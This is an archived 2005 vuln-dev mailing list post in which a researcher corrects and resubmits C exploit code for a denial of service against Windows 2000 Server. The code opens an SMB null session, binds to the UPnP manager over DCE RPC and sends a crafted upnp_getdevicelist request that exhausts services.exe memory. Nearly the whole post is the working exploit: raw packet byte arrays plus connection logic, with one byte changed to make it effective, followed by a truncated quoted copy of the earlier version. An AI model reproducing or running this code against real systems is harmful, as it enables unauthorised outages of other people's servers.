(CORRECTION) memory leak and eventual DOS when calling UPNP getdevicelist on windows 2000 server
From: WINNY THOMAS (winnymthomas_at_yahoo.com)
Date: 11/14/05
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Date: Sun, 13 Nov 2005 21:24:23 -0800 (PST) To: vuln-dev@securityfocus.com
Hi,
There is a slight mistake in the code. on line
number 146 you will see
"\x00\x00\x00\x00" //This is what kills the target.
\x00\x00\x00\x00 is safe
Change that line to
"\x10\x10\x10\x10" //This is what kills the target.
\x00\x00\x00\x00 is safe
and then you will see the memory usage shoot up.
Resubmitting the code
/*
* Author: Winny Thomas
* Nevis Labs, Pune, INDIA
*
* Details:
* While working on the exploit for MS05-047 i came
across a condition where
* a specially crafted request to upnp_getdevicelist
would cause
* services.exe to consume memory to a point where the
target machines virtual
* memory gets exhausted. This exploit is NOT similar
to the MS05-047 exploit i
* published earlier. The earlier one trashed the EIP
of the target causing a
* crash in services.exe and eventually brought down
the system to shut down.
* However in this exploit (again a DOS) the virtual
memory is consumed to a
* point where desktop requests (like clicking "My
Computer"), HTTP requests,
* SMB requests etc does not get serviced for
sometime. After sometime the
* memory usage comes down and the target system would
work as normal. However
* this code when continuosly executed against a
target leads to a sustained
* DOS attack.
* Start the task manager on the target system and run
this code against the
* target and watch the virtual memory usage shoot up.
*
* I used windbg to break on calls to
upnp_getdevicelist when running this code.
* However even before the break point is hit the
system becomes unresponsive.
* Strangely though changing the operation number in
the DCERPC request to
* something else other than 0xa (upnp_getdevicelist)
will make the DOS attempt
* fail. Perhaps changing the payload a little bit, so
that the underlying
* demarshalling routines dont return an error, might
reproduce this effect
* for other UPNP operations as well.
*
* TESTED ON: Windows 2000 server SP0, SP2 and SP3. I
have not tested this on
* any of the above machines with the recent hot fixes
for UPNP.
*
* Note: This code is for educational/testing purposes
by authorized persons on networks systems setup for
such purposes
* The author shall bear no responsibility for any
damage caused by using this code.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
unsigned short ProcessID = 0;
unsigned short TID = 0;
unsigned short UserID = 0;
unsigned short FID = 0;
char peer0_0[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" ;
char peer0_1[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";
char peer0_1_2[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
char peer0_2[] =
"\x00\x00\x00\x58\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2D\x00\x00";
char peer0_3[] =
"\x00\x00\x00\x66\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
"\x00\x08\x40\x00\x18\xff\x00\xde\xde\x00\x10\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5c\x00\x62\x00\x72\x00\x6f\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";
char peer0_4[] =
"\x00\x00\x00\x9A\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x08\x01\xC0"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x01\x00\x10\x00\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x48\x00\x52\x00\x02"
"\x00\x26\x00\x00\x40\x57\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00"
"\x00\x00\x00\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11\x8F\x69"
"\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C"
"\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
char peer0_5[] =
//NETBIOS Fields
//==============
"\x00" //Message type
"\x00\x00\x80" //Payload length C
//SMB Fields
//==========
//SMB Header
"\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x40\x6D\x4E\xF4\x8C\x6E\x13\x7B\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x00\x01"
//Write ANDX Request fields
"\x0E" //Word count
"\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00"
"\x40\x00" //Remaining C
"\x00\x00" //Data Length High
"\x40\x00" //Data Length Low C
"\x40\x00" //Data Offset C
"\x00\x00\x00\x00" //High Offset
"\x41\x00" //Byte count C
"\xEE"//Padding
//DCE RPC Request field
//=====================
"\x05\x00\x00\x03\x10\x00\x00\x00"
"\x40\x00" //Frag Length
"\x00\x00" //Auth Length
"\x8D\x00\x00\x00" //Call Id
"\x28\x00\x00\x00" //Alloc HINT C
"\x00\x00" //Context Id
"\x0A\x00" //OpNum; 10 in our case for
PNP_GetDeviceList
//DATA for GetDeviceList
"\x00\x00\x00\x00"
"\x10\x10\x10\x10" //This is what kills the target.
\x00\x00\x00\x00 is safe
"\x48\x54\x52\x45\x45\x5C\x52\x4F\x4F\x54\x5C"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";
void send_packet(int sock, char *payload, int size,
char *type)
{
int ntrans, ret;
memcpy(&payload[30], &ProcessID, 2);
if (UserID)
memcpy(&payload[32], &UserID, 2);
if (TID)
memcpy(&payload[28], &TID, 2);
if (strcmp(type, "Sending DCE RPC Bind UPNPMGR
request") == 0) {
memcpy(&payload[67], &FID, 2);
}
if (strcmp(type, "UPNPMGR upnp_getdevicelist
request") == 0) {
memcpy(&payload[41], &FID, 2);
}
printf("[*] %s: ", type);
fflush(stdout);
ntrans = send(sock, payload, size, 0);
if (ntrans < 0) {
printf("\033[0;31mFailed\033[0;39m\n\n");
exit(-1);
}
}
void get_response(int sock, char *type)
{
int ret;
char response[1496];
ret = recv(sock, response, 1496, 0);
if (strcmp(type, "Null Session request 1") != 0) {
if ((ret < 0 || response[9] != 0)) {
printf("\033[0;31mError in %s
response\033[0;39m\n\n", type);
exit(-1);
}
}
if (strcmp(type, "Null Session request 1") == 0) {
UserID = *(unsigned short *)&response[32];
}
if (strcmp(type, "Tree Connect") == 0) {
TID = *(unsigned short *)&response[28];
}
if (strcmp(type, "NT Creat AndX") == 0) {
FID = *(unsigned short *)&response[42];
}
if (strcmp(type, "UPNPMGR upnp_getdevicelist") == 0)
{
if((unsigned long)response[88] != 0) {
printf("\033[0;31mnca_s_fault_ndr\033[0;39m\n\n");
exit(-1);
}
}
printf("\033[0;32mOK\033[0;39m\n");
}
void banner()
{
printf("\n\n\033[0;31m\t!------------------------------------------!\n\033[0;39m");
printf("\033[0;31m\t Memory leak when sending
upnp_getdevicelist request\n\033[0;39m");
printf("\033[0;31m\t Coded by: \033[0;34m Winny
Thomas :-)\n\033[0;39m");
printf("\033[0;34m\t\t NevisLabs\n\033[0;39m");
printf("\033[0;34m\t\t Nevis Networks, Pune,
INDIA\n\033[0;39m");
printf("\033[0;31m\t!------------------------------------------!\n\n\033[0;39m");
}
char *setup_tCon(char *UNC, char *ptr)
{
int pindex = 0, uindex = 0, len;
len = strlen(UNC);
while (uindex < len) {
if ((pindex % 2) != 0) {
ptr[pindex] = '\x00';
pindex++;
continue;
}
ptr[pindex] = UNC[uindex];
uindex++;
pindex++;
}
ptr[pindex] = '\x00';
pindex++;
ptr[pindex] = '\x00';
pindex++;
ptr[pindex] = '\x00';
pindex++;
ptr[pindex] = 'I'; pindex++; ptr[pindex] = 'P';
pindex++; ptr[pindex] ='C'; pindex++;
ptr[pindex] = '\x00';
pindex++;
ptr[pindex] = '\x00';
pindex++;
}
int main(int argc, char *argv[])
{
struct sockaddr_in target;
struct hostent *host;
char UNC[50], tConXpacket[150], *temp, targetIP[20];
int sockfd;
int ret, templen;
system("clear");
banner();
if (argc < 2) {
printf("Usage: %s <host name|ip address>\n\n",
argv[0]);
exit(-1);
}
srand(time(NULL));
ProcessID = rand();
printf("[*] Resolving %s: ", argv[1]);
host = gethostbyname(argv[1]);
if (!host) {
printf("\033[0;31mFailed\033[0;39m\n");
exit(-1);
}
printf("\033[0;32mOK\033[0;39m\n");
target.sin_family = AF_INET;
target.sin_addr = *(struct in_addr *)host->h_addr;
target.sin_port = htons(445);
sprintf(targetIP, "%s", inet_ntoa(target.sin_addr));
sockfd = socket(AF_INET, SOCK_STREAM, 0);
ret = connect(sockfd, (struct sockaddr *)&target,
sizeof(target));
if (ret < 0) {
perror("Connect");
exit(-1);
}
send_packet(sockfd, peer0_0, sizeof(peer0_0) -1,
"Sending SMB Negotiate request");
get_response(sockfd, "SMB Negotiate");
send_packet(sockfd, peer0_1, sizeof(peer0_1) -1,
"Sending Null Session request");
get_response(sockfd, "Null Session request 1");
send_packet(sockfd, peer0_1_2, sizeof(peer0_1_2) -1,
"Sending Null Session request");
get_response(sockfd, "Null Session request 2");
bzero(tConXpacket, 150);
temp = tConXpacket;
memcpy(tConXpacket, peer0_2, sizeof(peer0_2));
temp += sizeof(peer0_2) -1;
sprintf(UNC, "\\\\%s\\IPC$", targetIP);
setup_tCon(UNC, temp);
templen = (strlen(UNC)*2) +9;
tConXpacket[3] = 43 + templen;
templen -= 2;
memcpy((unsigned long *)&tConXpacket[45], &templen,
1);
send_packet(sockfd, tConXpacket, sizeof(peer0_2)
+templen, "Sending Tree Connect request");
get_response(sockfd, "Tree Connect");
send_packet(sockfd, peer0_3, sizeof(peer0_3) -1,
"Sending NT Creat AndX request");
get_response(sockfd, "NT Creat AndX");
send_packet(sockfd, peer0_4, sizeof(peer0_4) -1,
"Sending DCE RPC Bind UPNPMGR request");
get_response(sockfd, "DCE RPC Bind UPNPMGR");
send_packet(sockfd, peer0_5, sizeof(peer0_5) -1,
"UPNPMGR upnp_getdevicelist request");
get_response(sockfd, "UPNPMGR upnp_getdevicelist");
close(sockfd);
}
Regards,
winny
--- WINNY THOMAS <winnymthomas@yahoo.com> wrote:
> /*
> * Author: Winny Thomas
> * Nevis Labs, Pune, INDIA
> *
> * Details:
> * While working on the exploit for MS05-047 i came
> across a condition where
> * a specially crafted request to upnp_getdevicelist
> would cause
> * services.exe to consume memory to a point where
> the
> target machines virtual
> * memory gets exhausted. This exploit is NOT
> similar
> to the MS05-047 exploit i
> * published earlier. The earlier one trashed the
> EIP
> of the target causing a
> * crash in services.exe and eventually brought down
> the system to shut down.
> * However in this exploit (again a DOS) the virtual
> memory is consumed to a
> * point where desktop requests (like clicking "My
> Computer"), HTTP requests,
> * SMB requests etc does not get serviced for
> sometime. After sometime the
> * memory usage comes down and the target system
> would
> work as normal. However
> * this code when continuosly executed against a
> target leads to a sustained
> * DOS attack.
> * Start the task manager on the target system and
> run
> this code against the
> * target and watch the virtual memory usage shoot
> up.
> *
> * I used windbg to break on calls to
> upnp_getdevicelist when running this code.
> * However even before the break point is hit the
> system becomes unresponsive.
> * Strangely though changing the operation number in
> the DCERPC request to
> * something else other than 0xa
> (upnp_getdevicelist)
> will make the DOS attempt
> * fail. Perhaps changing the payload a little bit,
> so
> that the underlying
> * demarshalling routines dont return an error,
> might
> reproduce this effect
> * for other UPNP operations as well.
> *
> * TESTED ON: Windows 2000 server SP0, SP2 and SP3.
> I
> have not tested this on
> * any of the above machines with the recent hot
> fixes
> for UPNP.
> *
> * Note: This code is for educational/testing
> purposes
> by authorized persons on networks systems setup for
> such purposes
> * The author shall bear no responsibility for any
> damage caused by using this code.
> */
>
> #include <stdio.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <netdb.h>
>
> unsigned short ProcessID = 0;
> unsigned short TID = 0;
> unsigned short UserID = 0;
> unsigned short FID = 0;
>
> char peer0_0[] =
>
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
>
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
>
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
>
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
>
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
>
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
>
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
> "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" ;
>
> char peer0_1[] =
>
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
>
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
>
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
>
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
>
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
>
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
>
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
>
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
> "\x2E\x00\x30\x00\x00\x00\x00\x00";
>
> char peer0_1_2[] =
>
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
>
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
>
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
>
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
>
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
>
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
>
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
>
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
>
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
>
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
>
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
>
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
>
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
>
> char peer0_2[] =
>
"\x00\x00\x00\x58\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
>
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2D\x00\x00";
>
> char peer0_3[] =
>
"\x00\x00\x00\x66\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
>
"\x00\x08\x40\x00\x18\xff\x00\xde\xde\x00\x10\x00\x16\x00\x00\x00"
>
"\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
>
"\x02\x00\x00\x00\x03\x13\x00\x00\x5c\x00\x62\x00\x72\x00\x6f\x00"
> "\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";
>
> char peer0_4[] =
>
"\x00\x00\x00\x9A\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x08\x01\xC0"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
>
"\x00\x08\x01\x00\x10\x00\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x48\x00\x52\x00\x02"
>
"\x00\x26\x00\x00\x40\x57\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
>
"\x45\x00\x5C\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00"
>
"\x00\x00\x00\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00"
>
"\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11\x8F\x69"
>
"\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C"
>
"\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
>
> char peer0_5[] =
> //NETBIOS Fields
> //==============
> "\x00" //Message type
> "\x00\x00\x80" //Payload length C
> //SMB Fields
> //==========
> //SMB Header
> "\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
>
"\x00\x00\x40\x6D\x4E\xF4\x8C\x6E\x13\x7B\x00\x00\x00\x08\xFF\xFE"
> "\x00\x08\x00\x01"
> //Write ANDX Request fields
> "\x0E" //Word count
> "\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
> "\xFF\xFF\xFF\x08\x00"
> "\x40\x00" //Remaining C
> "\x00\x00" //Data Length High
> "\x40\x00" //Data Length Low C
> "\x40\x00" //Data Offset C
> "\x00\x00\x00\x00" //High Offset
> "\x41\x00" //Byte count C
> "\xEE"//Padding
> //DCE RPC Request field
> //=====================
> "\x05\x00\x00\x03\x10\x00\x00\x00"
> "\x40\x00" //Frag Length
> "\x00\x00" //Auth Length
> "\x8D\x00\x00\x00" //Call Id
> "\x28\x00\x00\x00" //Alloc HINT C
> "\x00\x00" //Context Id
> "\x0A\x00" //OpNum; 10 in our case for
> PNP_GetDeviceList
> //DATA for GetDeviceList
> "\x00\x00\x00\x00"
> "\x00\x00\x00\x00" //This is what kills the target.
> \x00\x00\x00\x00 is safe
> "\x48\x54\x52\x45\x45\x5C\x52\x4F\x4F\x54\x5C"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> "\x00\x00\x00\x00\x00\x00";
>
> void send_packet(int sock, char *payload, int size,
> char *type)
> {
> int ntrans, ret;
>
> memcpy(&payload[30], &ProcessID, 2);
>
> if (UserID)
> memcpy(&payload[32], &UserID, 2);
> if (TID)
> memcpy(&payload[28], &TID, 2);
>
> if (strcmp(type, "Sending DCE RPC Bind UPNPMGR
> request") == 0) {
>
=== message truncated ===
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